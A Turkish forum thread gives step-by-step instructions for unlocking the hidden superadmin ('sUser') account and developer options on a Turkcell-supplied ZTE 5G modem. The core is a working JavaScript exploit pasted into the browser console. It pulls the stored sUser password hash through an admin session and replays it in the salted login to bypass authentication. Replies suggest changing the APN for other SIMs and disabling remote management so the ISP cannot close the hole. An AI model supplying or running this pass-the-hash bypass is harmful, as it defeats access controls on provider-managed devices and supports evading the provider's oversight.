Turkcell Superbox 5G ZTE MC8520B modem geliştirici seçenekleri ve DNS değiştirme

mokbu

Uzman
Katılım
5 Mart 2025
Mesajlar
8
Beğeniler
3
Merhaba dostlar,

Elimdeki Turkcell Superbox 5G ZTE MC8520B Modem mevcut DNS ayarlarını değiştirebilmek için yöntemler arıyordum ChatGPT-5.6 Sol Ultra sağ olsun gizli bir Geliştirici Şeçenekleri bölümü ve sUser girişi olduğunu tespit etti.

Buradaki şifre encrypt edilmiş bir şekilde backendde hash olarak tutuluyormuş arayüz şifre alanındaki yazdığınız şifreyi SHA-256 olarak encrypt edip backende gönderiyor arka planda bu hash kayıtlı ve sadece admin girişi ile tüm yetkili kullanıcıların sUser dahil şifre hashlerine erişebiliyoruz.

Dolayısıyla aşağıdaki yöntem ile şifre giriş alanını tamamen bypass edip backende direkt şifre hashini gönderiyoruz ve Geliştirici Seçenekleri ile birlikte sUser girişi ve yetkisi almış oluyoruz.

Burada çok fazla kurcalamadım başka ne yapılabilir diye DHCP ayarlarında gördüğünüz gibi DNS değiştirme aktif oluyor sUser girişi ile.

1. Öncelikle modem arayüzüne admin şifresi ile giriş yapıyorsunuz;



2. Giriş yaptıktan sonra adres çubuğuna aşağıdaki linki yazarak geliştirici seçenekleri giriş ekranına geçiyoruz.

https://192.168.1.1/index.html#developer_options_login



3. Chrome tarayıcıda F12 ile DevTools açıp Console kısmında aşağıdaki kodu yapıştırıp Enter basıyoruz. Yapıştırma izni gerekirse allow pasting yazarak onay verebilirsiniz.




JavaScript:
(async () => {
  const ZERO = "00000000000000000000000000000000";
  const adminSid = sessionStorage.getItem("ct");

  if (!adminSid) {
    throw new Error("Önce normal admin hesabıyla WebUI'a giriş yap.");
  }

  let id = Date.now();

  async function ubus(
    session,
    object,
    method,
    args = {},
    tag = method,
    mode = "0"
  ) {
    const request = [{
      jsonrpc: "2.0",
      id: ++id,
      method: "call",
      params: [session, object, method, args]
    }];

    const response = await fetch(`/ubus/?t=${Date.now()}`, {
      method: "POST",
      credentials: "same-origin",
      headers: {
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest",
        "Z-Mode": mode,
        "Z-Tag": tag
      },
      body: JSON.stringify(request)
    });

    const body = await response.json();
    const item = body?.[0];

    if (item?.error) {
      throw new Error(
        `${object}.${method}: ${JSON.stringify(item.error)}`
      );
    }

    return {
      raw: body,
      result: item?.result
    };
  }

  // Hashi mevcut admin oturumu sona ermeden al.
  const configReply = await ubus(
    adminSid,
    "uci",
    "get",
    {config: "zwrt_web"},
    "zwrt_web"
  );

  const superUser =
    configReply.result?.[1]?.values?.user2;

  if (
    superUser?.username !== "sUser" ||
    superUser?.usergroup !== "superadmin" ||
    !/^[0-9A-F]{64}$/i.test(superUser?.password || "")
  ) {
    throw new Error("sUser/superadmin iç hash kaydı bulunamadı.");
  }

  const innerHash = superUser.password;

  // Yalnız mevcut modem WebUI oturumunu kapat.
  await ubus(
    adminSid,
    "zwrt_web",
    "web_logout",
    {},
    "web_logout",
    "1"
  );

  // sUser normal giriş challenge'ı.
  const loginInfo = await ubus(
    ZERO,
    "zwrt_web",
    "web_login_info",
    {},
    "web_login_info"
  );

  const loginSalt =
    loginInfo.result?.[1]?.zte_web_sault;

  const loginChallenge =
    paswordAlgorithmsCookie(innerHash + loginSalt);

  const loginReply = await ubus(
    ZERO,
    "zwrt_web",
    "web_login",
    {
      username: superUser.username,
      password: loginChallenge
    },
    "web_login",
    "0"
  );

  const loginResult = loginReply.result?.[1];
  const sUserSid = loginResult?.ubus_rpc_session;

  if (
    String(loginResult?.result) !== "0" ||
    !sUserSid
  ) {
    console.error("sUser giriş yanıtı:", loginReply.raw);
    throw new Error(
      `sUser girişi başarısız: ${JSON.stringify(loginResult)}`
    );
  }

  // Yeni sUser oturumu için güncel developer salt'ı.
  const developerInfo = await ubus(
    sUserSid,
    "zwrt_web",
    "web_login_info",
    {},
    "web_login_info"
  );

  const developerSalt =
    developerInfo.result?.[1]?.zte_web_sault;

  const developerChallenge =
    paswordAlgorithmsCookie(innerHash + developerSalt);

  const developerReply = await ubus(
    sUserSid,
    "zwrt_web",
    "web_developer_option_login",
    {
      username: superUser.username,
      password: developerChallenge
    },
    "web_developer_option_login",
    "1"
  );

  const finalInfo = await ubus(
    sUserSid,
    "zwrt_web",
    "web_info",
    {},
    "web_info"
  );

  const state = finalInfo.result?.[1];

  console.table([{
    login_current_user: state?.login_current_user,
    developer_option_loginfo:
      state?.developer_option_loginfo,
    developerResult:
      developerReply.result?.[1]?.result,
    success:
      state?.login_current_user === "sUser" &&
      String(state?.developer_option_loginfo) === "1"
  }]);

  if (
    state?.login_current_user !== "sUser" ||
    String(state?.developer_option_loginfo) !== "1"
  ) {
    sessionStorage.setItem("ct", sUserSid);
    throw new Error(
      "sUser oturumu açıldı fakat developer durumu doğrulanamadı."
    );
  }

  // Uygulamanın yeni oturumu tanıması için kaydet ve tam yenile.
  sessionStorage.setItem("ct", sUserSid);

  const destination = new URL(location.href);
  destination.searchParams.set("_su", Date.now());
  destination.hash = "#developer_options";
  location.replace(destination.href);
})();

4. Final sayfa yenilendiğinde sUser olarak giriş yapmış olacaksınız eğer oturum kapanırsa tekrar deneyin bir kaç deneme sonraısnda açılacaktır.

Aşağıda Geliştirici Seçenekleri ekranını görebilirsiniz.



 
Son düzenleyen: Moderatör:
Güzel.
APN değiştirip başka hatlar takılabiliyor mu bunları test edebilirsin kendine challenge arıyorsan.
 
Uzaktan yönetim ayarını bul kapat. Yakından kapatırlar açığı.
 
Güzel.
APN değiştirip başka hatlar takılabiliyor mu bunları test edebilirsin kendine challenge arıyorsan.

Değiştirilebiliyor gibi gözüküyor manuel olarak yeni APN eklenebiliyor mobil ağ ayarlarından.

 
Bu siteyi kullanmak için çerezler gereklidir. Siteyi kullanmaya devam etmek için çerezleri kabul etmelisiniz. Daha Fazlasını Öğren.…